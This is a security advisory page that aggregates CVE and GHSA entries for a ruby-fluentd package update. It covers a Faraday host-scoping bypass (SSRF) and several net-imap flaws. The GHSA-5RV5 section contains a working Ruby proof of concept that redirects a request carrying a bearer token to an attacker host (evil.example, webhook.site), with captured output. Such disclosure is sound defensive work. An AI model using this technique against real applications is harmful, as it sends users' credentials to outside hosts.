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Vulnerability from cleanstart
Published
2026-07-21 08:32
Modified
2026-07-03 09:44
Summary
Security fixes for CVE-2026-33637, CVE-2026-42245, CVE-2026-42246, CVE-2026-42256, CVE-2026-42257, CVE-2026-42258, ghsa-5rv5-xj5j-3484, ghsa-75xq-5h9v-w6px, ghsa-87pf-fpwv-p7m7, ghsa-hm49-wcqc-g2xg, ghsa-q2mw-fvj9-vvcw, ghsa-vcgp-9326-pqcp applied in versions: 1.19.2-r2
Details
Multiple security vulnerabilities affect the ruby-fluentd-1.19 package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "ruby-fluentd-1.19"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.2-r2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the ruby-fluentd-1.19 package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-RG00675",
"modified": "2026-07-03T09:44:40Z",
"published": "2026-07-21T08:32:31.820114Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-RG00675.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33637"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42245"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42246"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42256"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42257"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42258"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5rv5-xj5j-3484"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-75xq-5h9v-w6px"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-87pf-fpwv-p7m7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hm49-wcqc-g2xg"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-q2mw-fvj9-vvcw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vcgp-9326-pqcp"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42245"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42246"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42256"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42257"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42258"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-33637, CVE-2026-42245, CVE-2026-42246, CVE-2026-42256, CVE-2026-42257, CVE-2026-42258, ghsa-5rv5-xj5j-3484, ghsa-75xq-5h9v-w6px, ghsa-87pf-fpwv-p7m7, ghsa-hm49-wcqc-g2xg, ghsa-q2mw-fvj9-vvcw, ghsa-vcgp-9326-pqcp applied in versions: 1.19.2-r2",
"upstream": [
"CVE-2026-33637",
"CVE-2026-42245",
"CVE-2026-42246",
"CVE-2026-42256",
"CVE-2026-42257",
"CVE-2026-42258",
"ghsa-5rv5-xj5j-3484",
"ghsa-75xq-5h9v-w6px",
"ghsa-87pf-fpwv-p7m7",
"ghsa-hm49-wcqc-g2xg",
"ghsa-q2mw-fvj9-vvcw",
"ghsa-vcgp-9326-pqcp"
]
}
CVE-2026-33637 (GCVE-0-2026-33637)
Vulnerability from cvelistv5 – Published: 2026-05-19 17:44 – Updated: 2026-05-19 18:37
VLAI
EPSS
VEX
Title
Faraday: Protocol-relative URI objects still bypass host scoping (possible incomplete fix for GHSA-33mh-2634-fwr2)
Summary
Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Versions 2.0.0 through 2.14.1 still allow protocol-relative host override when the request target is passed as a URI object (rather than a String) to Faraday::Connection#build_exclusive_url. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and enables off-host request forgery: a request built from a fixed-base Faraday::Connection can be redirected to an attacker-controlled host, forwarding connection-scoped values such as Authorization headers and default query parameters. This issue has been fixed in version 2.14.3.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-918 - Server-Side Request Forgery (SSRF)
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/lostisland/faraday/security/ad… | x_refsource_CONFIRM |
| https://github.com/advisories/GHSA-33mh-2634-fwr2 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| lostisland | faraday |
Affected:
>= 2.0.0, <= 2.14.2
|
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CVE-2026-42245 (GCVE-0-2026-42245)
Vulnerability from cvelistv5 – Published: 2026-05-09 19:37 – Updated: 2026-05-12 18:30
VLAI
EPSS
VEX
Title
net-imap: Quadratic complexity when reading response literals
Summary
Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to versions 0.4.24, 0.5.14, and 0.6.4, Net::IMAP::ResponseReader has quadratic time complexity when reading large responses containing many string literals. A hostile server can send responses which are crafted to exhaust the client's CPU for a denial of service attack. This issue has been patched in versions 0.4.24, 0.5.14, and 0.6.4.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-407 - Inefficient Algorithmic Complexity
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/ruby/net-imap/security/advisor… | x_refsource_CONFIRM |
| https://github.com/ruby/net-imap/commit/6091f7d6b… | x_refsource_MISC |
| https://github.com/ruby/net-imap/commit/88d95231f… | x_refsource_MISC |
| https://github.com/ruby/net-imap/commit/de685f91a… | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.4.24 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.5.14 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.6.4 | x_refsource_MISC |
Impacted products
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"timestamp": "2026-05-12T17:53:55.917796Z",
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"vendor": "ruby",
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"version": "\u003c 0.4.24"
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"status": "affected",
"version": "\u003e= 0.5.0, \u003c 0.5.14"
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"version": "\u003e= 0.6.0, \u003c 0.6.4"
}
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}
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"url": "https://github.com/ruby/net-imap/commit/de685f91a4a4cc75eb80da898c2bf8af08d34819"
},
{
"name": "https://github.com/ruby/net-imap/releases/tag/v0.4.24",
"tags": [
"x_refsource_MISC"
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"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
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"tags": [
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"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
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CVE-2026-42246 (GCVE-0-2026-42246)
Vulnerability from cvelistv5 – Published: 2026-05-09 19:33 – Updated: 2026-07-15 00:57
VLAI
EPSS
VEX
Title
net-imap vulnerable to STARTTLS stripping via invalid response timing
Summary
Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to versions 0.3.10, 0.4.24, 0.5.14, and 0.6.4, a man-in-the-middle attacker can cause Net::IMAP#starttls to return "successfully", without starting TLS. This issue has been patched in versions 0.3.10, 0.4.24, 0.5.14, and 0.6.4.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
31 references
| URL | Tags |
|---|---|
| https://github.com/ruby/net-imap/security/advisor… | x_refsource_CONFIRM |
| https://github.com/ruby/net-imap/commit/0ede4c40b… | x_refsource_MISC |
| https://github.com/ruby/net-imap/commit/24a4e770b… | x_refsource_MISC |
| https://github.com/ruby/net-imap/commit/97e2488fb… | x_refsource_MISC |
| https://github.com/ruby/net-imap/commit/f79d35bf5… | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.3.10 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.4.24 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.5.14 | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-42246 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2468499 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:37397 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:35895 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33565 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33540 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33514 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33515 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:35866 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:35867 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:34076 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:35834 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33630 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:36099 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33462 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:37238 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33512 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33576 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33577 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33721 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33552 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33551 | vendor-advisoryx_refsource_REDHAT |
Impacted products
27 products
| Vendor | Product | Version | |
|---|---|---|---|
| ruby | net-imap |
Affected:
< 0.3.10
Affected: >= 0.4.0, < 0.4.24 Affected: >= 0.5.0, < 0.5.14 Affected: >= 0.6.0, < 0.6.4 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
Unaffected:
0:4.0.3-35.el10_2 , < *
(rpm)
cpe:/o:redhat:enterprise_linux:10.2 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
Unaffected:
0:3.3.10-13.el10_2 , < *
(rpm)
cpe:/o:redhat:enterprise_linux:10.2 |
|
| Red Hat | Red Hat Enterprise Linux 10.0 Extended Update Support |
Unaffected:
0:3.3.10-11.el10_0.2 , < *
(rpm)
cpe:/o:redhat:enterprise_linux_eus:10.0 |
|
| Red Hat | Red Hat Enterprise Linux 7 Extended Lifecycle Support |
Unaffected:
0:2.0.0.648-39.el7_9.1 , < *
(rpm)
cpe:/o:redhat:rhel_els:7 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected:
8100020260615131019.489197e6 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected:
8100020260615131010.489197e6 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support |
Unaffected:
8040020260630124058.522a0ee4 , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On |
Unaffected:
8040020260630124058.522a0ee4 , < *
(rpm)
cpe:/a:redhat:rhel_eus_long_life:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support |
Unaffected:
8060020260630123825.ad008a3a , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On |
Unaffected:
8060020260630123825.ad008a3a , < *
(rpm)
cpe:/a:redhat:rhel_eus_long_life:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Telecommunications Update Service |
Unaffected:
8080020260625114827.63b34585 , < *
(rpm)
cpe:/a:redhat:rhel_tus:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions |
Unaffected:
8080020260625114827.63b34585 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
0:3.0.7-167.el9_8 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
9080020260615131001.9 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
9080020260619130154.9 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions |
Unaffected:
0:3.0.4-161.el9_2.3 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.2 |
|
| Red Hat | Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions |
Unaffected:
0:3.0.7-162.el9_4.3 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.4 |
|
| Red Hat | Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions |
Unaffected:
9040020260630065449.9 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.4 |
|
| Red Hat | Red Hat Enterprise Linux 9.6 Extended Update Support |
Unaffected:
0:3.0.7-165.el9_6.1 , < *
(rpm)
cpe:/a:redhat:rhel_eus:9.6 |
|
| Red Hat | Red Hat Enterprise Linux 9.6 Extended Update Support |
Unaffected:
9060020260630075016.9 , < *
(rpm)
cpe:/a:redhat:rhel_eus:9.6 |
|
| Red Hat | Red Hat Hardened Images |
Unaffected:
4.0.0-33.4.hum1 , < *
(rpm)
cpe:/a:redhat:hummingbird:1 |
|
| Red Hat | Red Hat Hardened Images |
Unaffected:
3.4.10-31.hum1 , < *
(rpm)
Unaffected: 3.4.8-31.2.hum1 , < * (rpm) cpe:/a:redhat:hummingbird:1 |
|
| Red Hat | Red Hat Hardened Images |
Unaffected:
3.3.10-23.2.hum1 , < *
(rpm)
cpe:/a:redhat:hummingbird:1 |
|
| Red Hat | Red Hat 3scale API Management Platform 2 |
cpe:/a:redhat:red_hat_3scale_amp:2 |
|
| Red Hat | Red Hat Enterprise Linux 6 |
cpe:/o:redhat:enterprise_linux:6 |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
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CVE-2026-42256 (GCVE-0-2026-42256)
Vulnerability from cvelistv5 – Published: 2026-05-09 19:38 – Updated: 2026-05-11 17:04
VLAI
EPSS
VEX
Title
net-imap: Denial of service via high iteration count for `SCRAM-*` authentication
Summary
Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. From versions 0.4.0 to before 0.4.24, 0.5.0 to before 0.5.14, and 0.6.0 to before 0.6.4, when authenticating a connection with SCRAM-SHA1 or SCRAM-SHA256, a hostile server can perform a computational denial-of-service attack on the client process by sending a big iteration count value. This issue has been patched in versions 0.4.24, 0.5.14, and 0.6.4.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://github.com/ruby/net-imap/security/advisor… | x_refsource_CONFIRM |
| https://github.com/ruby/net-imap/commit/158d0b505… | x_refsource_MISC |
| https://github.com/ruby/net-imap/commit/808001bc4… | x_refsource_MISC |
| https://github.com/ruby/net-imap/commit/99f59eab6… | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.4.24 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.5.14 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.6.4 | x_refsource_MISC |
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CVE-2026-42257 (GCVE-0-2026-42257)
Vulnerability from cvelistv5 – Published: 2026-05-09 19:39 – Updated: 2026-05-13 19:33
VLAI
EPSS
VEX
Title
net-imap: Command Injection via "raw" arguments to multiple commands
Summary
Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to versions 0.4.24, 0.5.14, and 0.6.4, several Net::IMAP commands accept a raw string argument that is sent to the server without validation or escaping. If this string is derived from user-controlled input, it may contain contain CRLF sequences, which an attacker can use to inject arbitrary IMAP commands. This issue has been patched in versions 0.4.24, 0.5.14, and 0.6.4.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/ruby/net-imap/security/advisor… | x_refsource_CONFIRM |
| https://github.com/ruby/net-imap/releases/tag/v0.4.24 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.5.14 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.6.4 | x_refsource_MISC |
Impacted products
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"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-hm49-wcqc-g2xg"
},
{
"name": "https://github.com/ruby/net-imap/releases/tag/v0.4.24",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
},
{
"name": "https://github.com/ruby/net-imap/releases/tag/v0.5.14",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
},
{
"name": "https://github.com/ruby/net-imap/releases/tag/v0.6.4",
"tags": [
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],
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
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],
"source": {
"advisory": "GHSA-hm49-wcqc-g2xg",
"discovery": "UNKNOWN"
},
"title": "net-imap: Command Injection via \"raw\" arguments to multiple commands"
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},
"cveMetadata": {
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"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42257",
"datePublished": "2026-05-09T19:39:48.398Z",
"dateReserved": "2026-04-26T11:53:27.704Z",
"dateUpdated": "2026-05-13T19:33:13.948Z",
"state": "PUBLISHED"
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CVE-2026-42258 (GCVE-0-2026-42258)
Vulnerability from cvelistv5 – Published: 2026-05-09 19:40 – Updated: 2026-07-20 12:05
VLAI
EPSS
VEX
Title
net-imap: Command Injection via unvalidated Symbol inputs
Summary
Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to versions 0.4.24, 0.5.14, and 0.6.4, symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands. This issue has been patched in versions 0.4.24, 0.5.14, and 0.6.4.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
24 references
| URL | Tags |
|---|---|
| https://github.com/ruby/net-imap/security/advisor… | x_refsource_CONFIRM |
| https://github.com/ruby/net-imap/releases/tag/v0.4.24 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.5.14 | x_refsource_MISC |
| https://github.com/ruby/net-imap/releases/tag/v0.6.4 | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-42258 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2468498 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:37397 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:35895 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33565 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33540 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33514 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33515 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:35866 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:35867 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:34076 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:35834 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33630 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:36099 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33462 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:37238 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33512 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33576 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:33577 | vendor-advisoryx_refsource_REDHAT |
Impacted products
27 products
| Vendor | Product | Version | |
|---|---|---|---|
| ruby | net-imap |
Affected:
< 0.4.24
Affected: >= 0.5.0, < 0.5.14 Affected: >= 0.6.0, < 0.6.4 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
Unaffected:
0:4.0.3-35.el10_2 , < *
(rpm)
cpe:/o:redhat:enterprise_linux:10.2 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
Unaffected:
0:3.3.10-13.el10_2 , < *
(rpm)
cpe:/o:redhat:enterprise_linux:10.2 |
|
| Red Hat | Red Hat Enterprise Linux 10.0 Extended Update Support |
Unaffected:
0:3.3.10-11.el10_0.2 , < *
(rpm)
cpe:/o:redhat:enterprise_linux_eus:10.0 |
|
| Red Hat | Red Hat Enterprise Linux 7 Extended Lifecycle Support |
Unaffected:
0:2.0.0.648-39.el7_9.1 , < *
(rpm)
cpe:/o:redhat:rhel_els:7 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected:
8100020260615131019.489197e6 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected:
8100020260615131010.489197e6 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support |
Unaffected:
8040020260630124058.522a0ee4 , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.4 Extended Update Support Long-Life Add-On |
Unaffected:
8040020260630124058.522a0ee4 , < *
(rpm)
cpe:/a:redhat:rhel_eus_long_life:8.4 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support |
Unaffected:
8060020260630123825.ad008a3a , < *
(rpm)
cpe:/a:redhat:rhel_aus:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On |
Unaffected:
8060020260630123825.ad008a3a , < *
(rpm)
cpe:/a:redhat:rhel_eus_long_life:8.6 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Telecommunications Update Service |
Unaffected:
8080020260625114827.63b34585 , < *
(rpm)
cpe:/a:redhat:rhel_tus:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions |
Unaffected:
8080020260625114827.63b34585 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:8.8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
0:3.0.7-167.el9_8 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
9080020260615131001.9 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
9080020260619130154.9 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions |
Unaffected:
0:3.0.4-161.el9_2.3 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.2 |
|
| Red Hat | Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions |
Unaffected:
0:3.0.7-162.el9_4.3 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.4 |
|
| Red Hat | Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions |
Unaffected:
9040020260630065449.9 , < *
(rpm)
cpe:/a:redhat:rhel_e4s:9.4 |
|
| Red Hat | Red Hat Enterprise Linux 9.6 Extended Update Support |
Unaffected:
0:3.0.7-165.el9_6.1 , < *
(rpm)
cpe:/a:redhat:rhel_eus:9.6 |
|
| Red Hat | Red Hat Enterprise Linux 9.6 Extended Update Support |
Unaffected:
9060020260630075016.9 , < *
(rpm)
cpe:/a:redhat:rhel_eus:9.6 |
|
| Red Hat | Red Hat 3scale API Management Platform 2 |
cpe:/a:redhat:red_hat_3scale_amp:2 |
|
| Red Hat | Red Hat Enterprise Linux 6 |
cpe:/o:redhat:enterprise_linux:6 |
|
| Red Hat | Red Hat Hardened Images |
cpe:/a:redhat:hummingbird:1 |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat OpenShift Dev Spaces |
cpe:/a:redhat:openshift_devspaces:3 |
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GHSA-5RV5-XJ5J-3484
Vulnerability from github – Published: 2026-05-18 14:51 – Updated: 2026-06-05 14:12
VLAI
Summary
Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping
Details
Summary
Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Affected Component
- Repository File(s)/Endpoint(s):
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rb- Function(s):
Faraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_env- Version(s) Tested:
Faraday 2.14.1- repository HEAD
a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- Access Required: Ability to supply data that the application converts to
URI.parse(...)and passes toconn.get(...),[conn.post](http://conn.post/)(...), orreq.url(...) - Capability: Control over a protocol-relative URI such as
URI("//evil.example/pwn")
Steps to Reproduce
- Use the current repository checkout and load Faraday from
lib/. - Build a fixed-base connection and provide a protocol-relative
URIobject toreq.url. - Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
- Observe that the connection-scoped
Authorizationheader remains attached to the off-host request.
Verification Evidence
- Environment: macOS, Ruby from local environment, Faraday
2.14.1,faraday-net_http, local WEBrick listener on127.0.0.1:4567, HEADa01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
- PoC code (inline):
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body
- Exit code:
0 - stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
- stderr (relevant excerpt):
N/A
- Artifacts: none
Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"
This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
- Existing advisory for the original string-based issue:
GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue:
CVE-2026-25765 - Existing regression tests for the string-only fix:
spec/faraday/connection_spec.rb:314-345- Existing test proving supported
URIrequest input: spec/faraday/request_spec.rb:26-31
Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
Severity
0.0 (None)
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"severity": "LOW"
},
